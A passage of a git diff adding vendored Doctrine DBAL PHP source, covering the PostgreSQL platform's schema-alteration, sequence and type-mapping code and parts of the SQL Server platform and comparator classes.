($columnDiff->hasNotNullChanged()) { + $query = 'ALTER ' . $oldColumnName . ' ' . ($newColumn->getNotnull() ? 'SET' : 'DROP') . ' NOT NULL'; + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + } + + if ($columnDiff->hasAutoIncrementChanged()) { + if ($newColumn->getAutoincrement()) { + // add autoincrement + $seqName = $this->getIdentitySequenceName( + $table->getName(), + $oldColumnName, + ); + + $sql[] = 'CREATE SEQUENCE ' . $seqName; + $sql[] = "SELECT setval('" . $seqName . "', (SELECT MAX(" . $oldColumnName . ') FROM ' + . $tableNameSQL . '))'; + $query = 'ALTER ' . $oldColumnName . " SET DEFAULT nextval('" . $seqName . "')"; + } else { + // Drop autoincrement, but do NOT drop the sequence. It might be re-used by other tables or have + $query = 'ALTER ' . $oldColumnName . ' DROP DEFAULT'; + } + + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + } + + $oldComment = $this->getOldColumnComment($columnDiff); + $newComment = $this->getColumnComment($newColumn); + + if ( + $columnDiff->hasCommentChanged() + || ($columnDiff->getOldColumn() !== null && $oldComment !== $newComment) + ) { + $commentsSQL[] = $this->getCommentOnColumnSQL( + $tableNameSQL, + $newColumn->getQuotedName($this), + $newComment, + ); + } + + if (! $columnDiff->hasLengthChanged()) { + continue; + } + + $query = 'ALTER ' . $oldColumnName . ' TYPE ' + . $newColumn->getType()->getSQLDeclaration($newColumn->toArray(), $this); + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + } + + foreach ($diff->getRenamedColumns() as $oldColumnName => $column) { + if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) { + continue; + } + + $oldColumnName = new Identifier($oldColumnName); + + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' RENAME COLUMN ' . $oldColumnName->getQuotedName($this) + . ' TO ' . $column->getQuotedName($this); + } + + $tableSql = []; + + if (! $this->onSchemaAlterTable($diff, $tableSql)) { + $sql = array_merge($sql, $commentsSQL); + + $newName = $diff->getNewName(); + + if ($newName !== false) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + 'Generation of "rename table" SQL using %s is deprecated. Use getRenameTableSQL() instead.', + __METHOD__, + ); + + $sql[] = sprintf( + 'ALTER TABLE %s RENAME TO %s', + $tableNameSQL, + $newName->getQuotedName($this), + ); + } + + $sql = array_merge( + $this->getPreAlterTableIndexForeignKeySQL($diff), + $sql, + $this->getPostAlterTableIndexForeignKeySQL($diff), + ); + } + + return array_merge($sql, $tableSql, $columnSql); + } + + /** + * Checks whether a given column diff is a logically unchanged binary type column. + * + * Used to determine whether a column alteration for a binary type column can be skipped. + * Doctrine's {@see BinaryType} and {@see BlobType} are mapped to the same database column type on this platform + * as this platform does not have a native VARBINARY/BINARY column type. Therefore the comparator + * might detect differences for binary type columns which do not have to be propagated + * to database as there actually is no difference at database level. + */ + private function isUnchangedBinaryColumn(ColumnDiff $columnDiff): bool + { + $newColumnType = $columnDiff->getNewColumn()->getType(); + + if (! $newColumnType instanceof BinaryType && ! $newColumnType instanceof BlobType) { + return false; + } + + $oldColumn = $columnDiff->getOldColumn() instanceof Column ? $columnDiff->getOldColumn() : null; + + if ($oldColumn !== null) { + $oldColumnType = $oldColumn->getType(); + + if (! $oldColumnType instanceof BinaryType && ! $oldColumnType instanceof BlobType) { + return false; + } + + return count(array_diff($columnDiff->changedProperties, ['type', 'length', 'fixed'])) === 0; + } + + if ($columnDiff->hasTypeChanged()) { + return false; + } + + return count(array_diff($columnDiff->changedProperties, ['length', 'fixed'])) === 0; + } + + /** + * {@inheritDoc} + */ + protected function getRenameIndexSQL($oldIndexName, Index $index, $tableName) + { + if (strpos($tableName, '.') !== false) { + [$schema] = explode('.', $tableName); + $oldIndexName = $schema . '.' . $oldIndexName; + } + + return ['ALTER INDEX ' . $oldIndexName . ' RENAME TO ' . $index->getQuotedName($this)]; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getCommentOnColumnSQL($tableName, $columnName, $comment) + { + $tableName = new Identifier($tableName); + $columnName = new Identifier($columnName); + $comment = $comment === null ? 'NULL' : $this->quoteStringLiteral($comment); + + return sprintf( + 'COMMENT ON COLUMN %s.%s IS %s', + $tableName->getQuotedName($this), + $columnName->getQuotedName($this), + $comment, + ); + } + + /** + * {@inheritDoc} + */ + public function getCreateSequenceSQL(Sequence $sequence) + { + return 'CREATE SEQUENCE ' . $sequence->getQuotedName($this) . + ' INCREMENT BY ' . $sequence->getAllocationSize() . + ' MINVALUE ' . $sequence->getInitialValue() . + ' START ' . $sequence->getInitialValue() . + $this->getSequenceCacheSQL($sequence); + } + + /** + * {@inheritDoc} + */ + public function getAlterSequenceSQL(Sequence $sequence) + { + return 'ALTER SEQUENCE ' . $sequence->getQuotedName($this) . + ' INCREMENT BY ' . $sequence->getAllocationSize() . + $this->getSequenceCacheSQL($sequence); + } + + /** + * Cache definition for sequences + */ + private function getSequenceCacheSQL(Sequence $sequence): string + { + if ($sequence->getCache() > 1) { + return ' CACHE ' . $sequence->getCache(); + } + + return ''; + } + + /** + * {@inheritDoc} + */ + public function getDropSequenceSQL($sequence) + { + return parent::getDropSequenceSQL($sequence) . ' CASCADE'; + } + + /** + * {@inheritDoc} + */ + public function getDropForeignKeySQL($foreignKey, $table) + { + return $this->getDropConstraintSQL($foreignKey, $table); + } + + /** + * {@inheritDoc} + */ + public function getDropIndexSQL($index, $table = null) + { + if ($index instanceof Index && $index->isPrimary() && $table !== null) { + $constraintName = $index->getName() === 'primary' ? $this->tableName($table) . '_pkey' : $index->getName(); + + return $this->getDropConstraintSQL($constraintName, $table); + } + + if ($index === '"primary"' && $table !== null) { + $constraintName = $this->tableName($table) . '_pkey'; + + return $this->getDropConstraintSQL($constraintName, $table); + } + + return parent::getDropIndexSQL($index, $table); + } + + /** + * @param Table|string|null $table + * + * @return string + */ + private function tableName($table) + { + return $table instanceof Table ? $table->getName() : (string) $table; + } + + /** + * {@inheritDoc} + */ + protected function _getCreateTableSQL($name, array $columns, array $options = []) + { + $queryFields = $this->getColumnDeclarationListSQL($columns); + + if (isset($options['primary']) && ! empty($options['primary'])) { + $keyColumns = array_unique(array_values($options['primary'])); + $queryFields .= ', PRIMARY KEY(' . implode(', ', $keyColumns) . ')'; + } + + $unlogged = isset($options['unlogged']) && $options['unlogged'] === true ? ' UNLOGGED' : ''; + + $query = 'CREATE' . $unlogged . ' TABLE ' . $name . ' (' . $queryFields . ')'; + + $sql = [$query]; + + if (isset($options['indexes']) && ! empty($options['indexes'])) { + foreach ($options['indexes'] as $index) { + $sql[] = $this->getCreateIndexSQL($index, $name); + } + } + + if (isset($options['uniqueConstraints'])) { + foreach ($options['uniqueConstraints'] as $uniqueConstraint) { + $sql[] = $this->getCreateConstraintSQL($uniqueConstraint, $name); + } + } + + if (isset($options['foreignKeys'])) { + foreach ($options['foreignKeys'] as $definition) { + $sql[] = $this->getCreateForeignKeySQL($definition, $name); + } + } + + return $sql; + } + + /** + * Converts a single boolean value. + * + * First converts the value to its native PHP boolean type + * and passes it to the given callback function to be reconverted + * into any custom representation. + * + * @param mixed $value The value to convert. + * @param callable $callback The callback function to use for converting the real boolean value. + * + * @return mixed + * + * @throws UnexpectedValueException + */ + private function convertSingleBooleanValue($value, $callback) + { + if ($value === null) { + return $callback(null); + } + + if (is_bool($value) || is_numeric($value)) { + return $callback((bool) $value); + } + + if (! is_string($value)) { + return $callback(true); + } + + /** + * Better safe than sorry: http://php.net/in_array#106319 + */ + if (in_array(strtolower(trim($value)), $this->booleanLiterals['false'], true)) { + return $callback(false); + } + + if (in_array(strtolower(trim($value)), $this->booleanLiterals['true'], true)) { + return $callback(true); + } + + throw new UnexpectedValueException(sprintf("Unrecognized boolean literal '%s'", $value)); + } + + /** + * Converts one or multiple boolean values. + * + * First converts the value(s) to their native PHP boolean type + * and passes them to the given callback function to be reconverted + * into any custom representation. + * + * @param mixed $item The value(s) to convert. + * @param callable $callback The callback function to use for converting the real boolean value(s). + * + * @return mixed + */ + private function doConvertBooleans($item, $callback) + { + if (is_array($item)) { + foreach ($item as $key => $value) { + $item[$key] = $this->convertSingleBooleanValue($value, $callback); + } + + return $item; + } + + return $this->convertSingleBooleanValue($item, $callback); + } + + /** + * {@inheritDoc} + * + * Postgres wants boolean values converted to the strings 'true'/'false'. + */ + public function convertBooleans($item) + { + if (! $this->useBooleanTrueFalseStrings) { + return parent::convertBooleans($item); + } + + return $this->doConvertBooleans( + $item, + /** @param mixed $value */ + static function ($value) { + if ($value === null) { + return 'NULL'; + } + + return $value === true ? 'true' : 'false'; + }, + ); + } + + /** + * {@inheritDoc} + */ + public function convertBooleansToDatabaseValue($item) + { + if (! $this->useBooleanTrueFalseStrings) { + return parent::convertBooleansToDatabaseValue($item); + } + + return $this->doConvertBooleans( + $item, + /** @param mixed $value */ + static function ($value): ?int { + return $value === null ? null : (int) $value; + }, + ); + } + + /** + * {@inheritDoc} + * + * @param T $item + * + * @return (T is null ? null : bool) + * + * @template T + */ + public function convertFromBoolean($item) + { + if ($item !== null && in_array(strtolower($item), $this->booleanLiterals['false'], true)) { + return false; + } + + return parent::convertFromBoolean($item); + } + + /** + * {@inheritDoc} + */ + public function getSequenceNextValSQL($sequence) + { + return "SELECT NEXTVAL('" . $sequence . "')"; + } + + /** + * {@inheritDoc} + */ + public function getSetTransactionIsolationSQL($level) + { + return 'SET SESSION CHARACTERISTICS AS TRANSACTION ISOLATION LEVEL ' + . $this->_getTransactionIsolationLevelSQL($level); + } + + /** + * {@inheritDoc} + */ + public function getBooleanTypeDeclarationSQL(array $column) + { + return 'BOOLEAN'; + } + + /** + * {@inheritDoc} + */ + public function getIntegerTypeDeclarationSQL(array $column) + { + if (! empty($column['autoincrement'])) { + return 'SERIAL'; + } + + return 'INT'; + } + + /** + * {@inheritDoc} + */ + public function getBigIntTypeDeclarationSQL(array $column) + { + if (! empty($column['autoincrement'])) { + return 'BIGSERIAL'; + } + + return 'BIGINT'; + } + + /** + * {@inheritDoc} + */ + public function getSmallIntTypeDeclarationSQL(array $column) + { + if (! empty($column['autoincrement'])) { + return 'SMALLSERIAL'; + } + + return 'SMALLINT'; + } + + /** + * {@inheritDoc} + */ + public function getGuidTypeDeclarationSQL(array $column) + { + return 'UUID'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTypeDeclarationSQL(array $column) + { + return 'TIMESTAMP(0) WITHOUT TIME ZONE'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTzTypeDeclarationSQL(array $column) + { + return 'TIMESTAMP(0) WITH TIME ZONE'; + } + + /** + * {@inheritDoc} + */ + public function getDateTypeDeclarationSQL(array $column) + { + return 'DATE'; + } + + /** + * {@inheritDoc} + */ + public function getTimeTypeDeclarationSQL(array $column) + { + return 'TIME(0) WITHOUT TIME ZONE'; + } + + /** + * {@inheritDoc} + */ + protected function _getCommonIntegerTypeDeclarationSQL(array $column) + { + return ''; + } + + /** + * {@inheritDoc} + */ + protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed) + { + return $fixed ? ($length > 0 ? 'CHAR(' . $length . ')' : 'CHAR(255)') + : ($length > 0 ? 'VARCHAR(' . $length . ')' : 'VARCHAR(255)'); + } + + /** + * {@inheritDoc} + */ + protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed) + { + return 'BYTEA'; + } + + /** + * {@inheritDoc} + */ + public function getClobTypeDeclarationSQL(array $column) + { + return 'TEXT'; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4749', + 'PostgreSQLPlatform::getName() is deprecated. Identify platforms by their class.', + ); + + return 'postgresql'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTzFormatString() + { + return 'Y-m-d H:i:sO'; + } + + /** + * {@inheritDoc} + */ + public function getEmptyIdentityInsertSQL($quotedTableName, $quotedIdentifierColumnName) + { + return 'INSERT INTO ' . $quotedTableName . ' (' . $quotedIdentifierColumnName . ') VALUES (DEFAULT)'; + } + + /** + * {@inheritDoc} + */ + public function getTruncateTableSQL($tableName, $cascade = false) + { + $tableIdentifier = new Identifier($tableName); + $sql = 'TRUNCATE ' . $tableIdentifier->getQuotedName($this); + + if ($cascade) { + $sql .= ' CASCADE'; + } + + return $sql; + } + + /** + * {@inheritDoc} + */ + public function getReadLockSQL() + { + return 'FOR SHARE'; + } + + /** + * {@inheritDoc} + */ + protected function initializeDoctrineTypeMappings() + { + $this->doctrineTypeMapping = [ + 'bigint' => Types::BIGINT, + 'bigserial' => Types::BIGINT, + 'bool' => Types::BOOLEAN, + 'boolean' => Types::BOOLEAN, + 'bpchar' => Types::STRING, + 'bytea' => Types::BLOB, + 'char' => Types::STRING, + 'date' => Types::DATE_MUTABLE, + 'datetime' => Types::DATETIME_MUTABLE, + 'decimal' => Types::DECIMAL, + 'double' => Types::FLOAT, + 'double precision' => Types::FLOAT, + 'float' => Types::FLOAT, + 'float4' => Types::FLOAT, + 'float8' => Types::FLOAT, + 'inet' => Types::STRING, + 'int' => Types::INTEGER, + 'int2' => Types::SMALLINT, + 'int4' => Types::INTEGER, + 'int8' => Types::BIGINT, + 'integer' => Types::INTEGER, + 'interval' => Types::STRING, + 'json' => Types::JSON, + 'jsonb' => Types::JSON, + 'money' => Types::DECIMAL, + 'numeric' => Types::DECIMAL, + 'serial' => Types::INTEGER, + 'serial4' => Types::INTEGER, + 'serial8' => Types::BIGINT, + 'real' => Types::FLOAT, + 'smallint' => Types::SMALLINT, + 'text' => Types::TEXT, + 'time' => Types::TIME_MUTABLE, + 'timestamp' => Types::DATETIME_MUTABLE, + 'timestamptz' => Types::DATETIMETZ_MUTABLE, + 'timetz' => Types::TIME_MUTABLE, + 'tsvector' => Types::TEXT, + 'uuid' => Types::GUID, + 'varchar' => Types::STRING, + 'year' => Types::DATE_MUTABLE, + '_varchar' => Types::STRING, + ]; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getVarcharMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'PostgreSQLPlatform::getVarcharMaxLength() is deprecated.', + ); + + return 65535; + } + + /** + * {@inheritDoc} + */ + public function getBinaryMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'PostgreSQLPlatform::getBinaryMaxLength() is deprecated.', + ); + + return 0; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getBinaryDefaultLength() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default binary column length is deprecated, specify the length explicitly.', + ); + + return 0; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function hasNativeJsonType() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'PostgreSQLPlatform::getReservedKeywordsClass() is deprecated,' + . ' use PostgreSQLPlatform::createReservedKeywordsList() instead.', + ); + + return Keywords\PostgreSQL94Keywords::class; + } + + /** + * {@inheritDoc} + */ + public function getBlobTypeDeclarationSQL(array $column) + { + return 'BYTEA'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getDefaultValueDeclarationSQL($column) + { + if (isset($column['autoincrement']) && $column['autoincrement'] === true) { + return ''; + } + + return parent::getDefaultValueDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsColumnCollation() + { + return true; + } + + /** + * {@inheritDoc} + */ + public function getJsonTypeDeclarationSQL(array $column) + { + if (! empty($column['jsonb'])) { + return 'JSONB'; + } + + return 'JSON'; + } + + private function getOldColumnComment(ColumnDiff $columnDiff): ?string + { + $oldColumn = $columnDiff->getOldColumn(); + + if ($oldColumn !== null) { + return $this->getColumnComment($oldColumn); + } + + return null; + } + + /** @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. */ + public function getListTableMetadataSQL(string $table, ?string $schema = null): string + { + if ($schema !== null) { + $table = $schema . '.' . $table; + } + + return sprintf( + <<<'SQL' +SELECT obj_description(%s::regclass) AS table_comment; +SQL + , + $this->quoteStringLiteral($table), + ); + } + + public function createSchemaManager(Connection $connection): PostgreSQLSchemaManager + { + return new PostgreSQLSchemaManager($connection, $this); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/SQLServer/Comparator.php b/vendor/doctrine/dbal/src/Platforms/SQLServer/Comparator.php new file mode 100644 index 000000000..41ef422bf --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/SQLServer/Comparator.php @@ -0,0 +1,63 @@ +databaseCollation = $databaseCollation; + } + + public function compareTables(Table $fromTable, Table $toTable): TableDiff + { + return parent::compareTables( + $this->normalizeColumns($fromTable), + $this->normalizeColumns($toTable), + ); + } + + /** + * {@inheritDoc} + */ + public function diffTable(Table $fromTable, Table $toTable) + { + return parent::diffTable( + $this->normalizeColumns($fromTable), + $this->normalizeColumns($toTable), + ); + } + + private function normalizeColumns(Table $table): Table + { + $table = clone $table; + + foreach ($table->getColumns() as $column) { + $options = $column->getPlatformOptions(); + + if (! isset($options['collation']) || $options['collation'] !== $this->databaseCollation) { + continue; + } + + unset($options['collation']); + $column->setPlatformOptions($options); + } + + return $table; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/SQLServer2012Platform.php b/vendor/doctrine/dbal/src/Platforms/SQLServer2012Platform.php new file mode 100644 index 000000000..a8ba2fa0b --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/SQLServer2012Platform.php @@ -0,0 +1,13 @@ +getConvertExpression('date', 'GETDATE()'); + } + + /** + * {@inheritDoc} + */ + public function getCurrentTimeSQL() + { + return $this->getConvertExpression('time', 'GETDATE()'); + } + + /** + * Returns an expression that converts an expression of one data type to another. + * + * @param string $dataType The target native data type. Alias data types cannot be used. + * @param string $expression The SQL expression to convert. + */ + private function getConvertExpression($dataType, $expression): string + { + return sprintf('CONVERT(%s, %s)', $dataType, $expression); + } + + /** + * {@inheritDoc} + */ + protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) + { + $factorClause = ''; + + if ($operator === '-') { + $factorClause = '-1 * '; + } + + return 'DATEADD(' . $unit . ', ' . $factorClause . $interval . ', ' . $date . ')'; + } + + /** + * {@inheritDoc} + */ + public function getDateDiffExpression($date1, $date2) + { + return 'DATEDIFF(day, ' . $date2 . ',' . $date1 . ')'; + } + + /** + * {@inheritDoc} + * + * Microsoft SQL Server prefers "autoincrement" identity columns + * since sequences can only be emulated with a table. + * + * @deprecated + */ + public function prefersIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/1519', + 'SQLServerPlatform::prefersIdentityColumns() is deprecated.', + ); + + return true; + } + + /** + * {@inheritDoc} + * + * Microsoft SQL Server supports this through AUTO_INCREMENT columns. + */ + public function supportsIdentityColumns() + { + return true; + } + + /** + * {@inheritDoc} + */ + public function supportsReleaseSavepoints() + { + return false; + } + + /** + * {@inheritDoc} + */ + public function supportsSchemas() + { + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getDefaultSchemaName() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return 'dbo'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsColumnCollation() + { + return true; + } + + public function supportsSequences(): bool + { + return true; + } + + public function getAlterSequenceSQL(Sequence $sequence): string + { + return 'ALTER SEQUENCE ' . $sequence->getQuotedName($this) . + ' INCREMENT BY ' . $sequence->getAllocationSize(); + } + + public function getCreateSequenceSQL(Sequence $sequence): string + { + return 'CREATE SEQUENCE ' . $sequence->getQuotedName($this) . + ' START WITH ' . $sequence->getInitialValue() . + ' INCREMENT BY ' . $sequence->getAllocationSize() . + ' MINVALUE ' . $sequence->getInitialValue(); + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListSequencesSQL($database) + { + return 'SELECT seq.name, + CAST( + seq.increment AS VARCHAR(MAX) + ) AS increment, -- CAST avoids driver error for sql_variant type + CAST( + seq.start_value AS VARCHAR(MAX) + ) AS start_value -- CAST avoids driver error for sql_variant type + FROM sys.sequences AS seq'; + } + + /** + * {@inheritDoc} + */ + public function getSequenceNextValSQL($sequence) + { + return 'SELECT NEXT VALUE FOR ' . $sequence; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function hasNativeGuidType() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } + + /** + * {@inheritDoc} + */ + public function getDropForeignKeySQL($foreignKey, $table) + { + if (! $foreignKey instanceof ForeignKeyConstraint) { + $foreignKey = new Identifier($foreignKey); + } + + if (! $table instanceof Table) { + $table = new Identifier($table); + } + + $foreignKey = $foreignKey->getQuotedName($this); + $table = $table->getQuotedName($this); + + return 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $foreignKey; + } + + /** + * {@inheritDoc} + */ + public function getDropIndexSQL($index, $table = null) + { + if ($index instanceof Index) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $index as an Index object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $index = $index->getQuotedName($this); + } elseif (! is_string($index)) { + throw new InvalidArgumentException( + __METHOD__ . '() expects $index parameter to be string or ' . Index::class . '.', + ); + } + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as an Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } elseif (! is_string($table)) { + throw new InvalidArgumentException( + __METHOD__ . '() expects $table parameter to be string or ' . Table::class . '.', + ); + } + + return 'DROP INDEX ' . $index . ' ON ' . $table; + } + + /** + * {@inheritDoc} + */ + protected function _getCreateTableSQL($name, array $columns, array $options = []) + { + $defaultConstraintsSql = []; + $commentsSql = []; + + $tableComment = $options['comment'] ?? null; + if ($tableComment !== null) { + $commentsSql[] = $this->getCommentOnTableSQL($name, $tableComment); + } + + // @todo does other code breaks because of this? + // force primary keys to be not null + foreach ($columns as &$column) { + if (! empty($column['primary'])) { + $column['notnull'] = true; + } + + // Build default constraints SQL statements. + if (isset($column['default'])) { + $defaultConstraintsSql[] = 'ALTER TABLE ' . $name . + ' ADD' . $this->getDefaultConstraintDeclarationSQL($name, $column); + } + + if (empty($column['comment']) && ! is_numeric($column['comment'])) { + continue; + } + + $commentsSql[] = $this->getCreateColumnCommentSQL($name, $column['name'], $column['comment']); + } + + $columnListSql = $this->getColumnDeclarationListSQL($columns); + + if (isset($options['uniqueConstraints']) && ! empty($options['uniqueConstraints'])) { + foreach ($options['uniqueConstraints'] as $constraintName => $definition) { + $columnListSql .= ', ' . $this->getUniqueConstraintDeclarationSQL($constraintName, $definition); + } + } + + if (isset($options['primary']) && ! empty($options['primary'])) { + $flags = ''; + if (isset($options['primary_index']) && $options['primary_index']->hasFlag('nonclustered')) { + $flags = ' NONCLUSTERED'; + } + + $columnListSql .= ', PRIMARY KEY' . $flags + . ' (' . implode(', ', array_unique(array_values($options['primary']))) . ')'; + } + + $query = 'CREATE TABLE ' . $name . ' (' . $columnListSql; + + $check = $this->getCheckDeclarationSQL($columns); + if (! empty($check)) { + $query .= ', ' . $check; + } + + $query .= ')'; + + $sql = [$query]; + + if (isset($options['indexes']) && ! empty($options['indexes'])) { + foreach ($options['indexes'] as $index) { + $sql[] = $this->getCreateIndexSQL($index, $name); + } + } + + if (isset($options['foreignKeys'])) { + foreach ($options['foreignKeys'] as $definition) { + $sql[] = $this->getCreateForeignKeySQL($definition, $name); + } + } + + return array_merge($sql, $commentsSql, $defaultConstraintsSql); + } + + /** + * {@inheritDoc} + */ + public function getCreatePrimaryKeySQL(Index $index, $table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $identifier = $table->getQuotedName($this); + } else { + $identifier = $table; + } + + $sql = 'ALTER TABLE ' . $identifier . ' ADD PRIMARY KEY'; + + if ($index->hasFlag('nonclustered')) { + $sql .= ' NONCLUSTERED'; + } + + return $sql . ' (' . $this->getIndexFieldDeclarationListSQL($index) . ')'; + } + + /** + * Returns the SQL statement for creating a column comment. + * + * SQL Server does not support native column comments, + * therefore the extended properties functionality is used + * as a workaround to store them. + * The property name used to store column comments is "MS_Description" + * which provides compatibility with SQL Server Management Studio, + * as column comments are stored in the same property there when + * specifying a column's "Description" attribute. + * + * @param string $tableName The quoted table name to which the column belongs. + * @param string $columnName The quoted column name to create the comment for. + * @param string|null $comment The column's comment. + * + * @return string + */ + protected function getCreateColumnCommentSQL($tableName, $columnName, $comment) + { + if (strpos($tableName, '.') !== false) { + [$schemaSQL, $tableSQL] = explode('.', $tableName); + $schemaSQL = $this->quoteStringLiteral($schemaSQL); + $tableSQL = $this->quoteStringLiteral($tableSQL); + } else { + $schemaSQL = "'dbo'"; + $tableSQL = $this->quoteStringLiteral($tableName); + } + + return $this->getAddExtendedPropertySQL( + 'MS_Description', + $comment, + 'SCHEMA', + $schemaSQL, + 'TABLE', + $tableSQL, + 'COLUMN', + $columnName, + ); + } + + /** + * Returns the SQL snippet for declaring a default constraint. + * + * @internal The method should be only used from within the SQLServerPlatform class hierarchy. + * + * @param string $table Name of the table to return the default constraint declaration for. + * @param mixed[] $column Column definition. + * + * @return string + * + * @throws InvalidArgumentException + */ + public function getDefaultConstraintDeclarationSQL($table, array $column) + { + if (! isset($column['default'])) { + throw new InvalidArgumentException("Incomplete column definition. 'default' required."); + } + + $columnName = new Identifier($column['name']); + + return ' CONSTRAINT ' . + $this->generateDefaultConstraintName($table, $column['name']) . + $this->getDefaultValueDeclarationSQL($column) . + ' FOR ' . $columnName->getQuotedName($this); + } + + /** + * {@inheritDoc} + */ + public function getCreateIndexSQL(Index $index, $table) + { + $constraint = parent::getCreateIndexSQL($index, $table); + + if ($index->isUnique() && ! $index->isPrimary()) { + $constraint = $this->_appendUniqueConstraintDefinition($constraint, $index); + } + + return $constraint; + } + + /** + * {@inheritDoc} + */ + protected function getCreateIndexSQLFlags(Index $index) + { + $type = ''; + if ($index->isUnique()) { + $type .= 'UNIQUE '; + } + + if ($index->hasFlag('clustered')) { + $type .= 'CLUSTERED '; + } elseif ($index->hasFlag('nonclustered')) { + $type .= 'NONCLUSTERED '; + } + + return $type; + } + + /** + * Extend unique key constraint with required filters + * + * @param string $sql + */ + private function _appendUniqueConstraintDefinition($sql, Index $index): string + { + $fields = []; + + foreach ($index->getQuotedColumns($this) as $field) { + $fields[] = $field . ' IS NOT NULL'; + } + + return $sql . ' WHERE ' . implode(' AND ', $fields); + } + + /** + * {@inheritDoc} + */ + public function getAlterTableSQL(TableDiff $diff) + { + $queryParts = []; + $sql = []; + $columnSql = []; + $commentsSql = []; + + $table = $diff->getOldTable() ?? $diff->getName($this); + + $tableName = $table->getName(); + + foreach ($diff->getAddedColumns() as $column) { + if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { + continue; + } + + $columnProperties = $column->toArray(); + + $addColumnSql = 'ADD ' . $this->getColumnDeclarationSQL($column->getQuotedName($this), $columnProperties); + + if (isset($columnProperties['default'])) { + $addColumnSql .= ' CONSTRAINT ' . $this->generateDefaultConstraintName( + $tableName, + $column->getQuotedName($this), + ) . $this->getDefaultValueDeclarationSQL($columnProperties); + } + + $queryParts[] = $addColumnSql; + + $comment = $this->getColumnComment($column); + + if (empty($comment) && ! is_numeric($comment)) { + continue; + } + + $commentsSql[] = $this->getCreateColumnCommentSQL( + $tableName, + $column->getQuotedName($this), + $comment, + ); + } + + foreach ($diff->getDroppedColumns() as $column) { + if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) { + continue; + } + + $queryParts[] = 'DROP COLUMN ' . $column->getQuotedName($this); + } + + foreach ($diff->getModifiedColumns() as $columnDiff) { + if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { + continue; + } + + $newColumn = $columnDiff->getNewColumn(); + $newComment = $this->getColumnComment($newColumn); + $hasNewComment = ! empty($newComment) || is_numeric($newComment); + + $oldColumn = $columnDiff->getOldColumn(); + + if ($oldColumn instanceof Column) { + $oldComment = $this->getColumnComment($oldColumn); + $hasOldComment = ! empty($oldComment) || is_numeric($oldComment); + + if ($hasOldComment && $hasNewComment && $oldComment !== $newComment) { + $commentsSql[] = $this->getAlterColumnCommentSQL( + $tableName, + $newColumn->getQuotedName($this), + $newComment, + ); + } elseif ($hasOldComment && ! $hasNewComment) { + $commentsSql[] = $this->getDropColumnCommentSQL( + $tableName, + $newColumn->getQuotedName($this), + ); + } elseif (! $hasOldComment && $hasNewComment) { + $commentsSql[] = 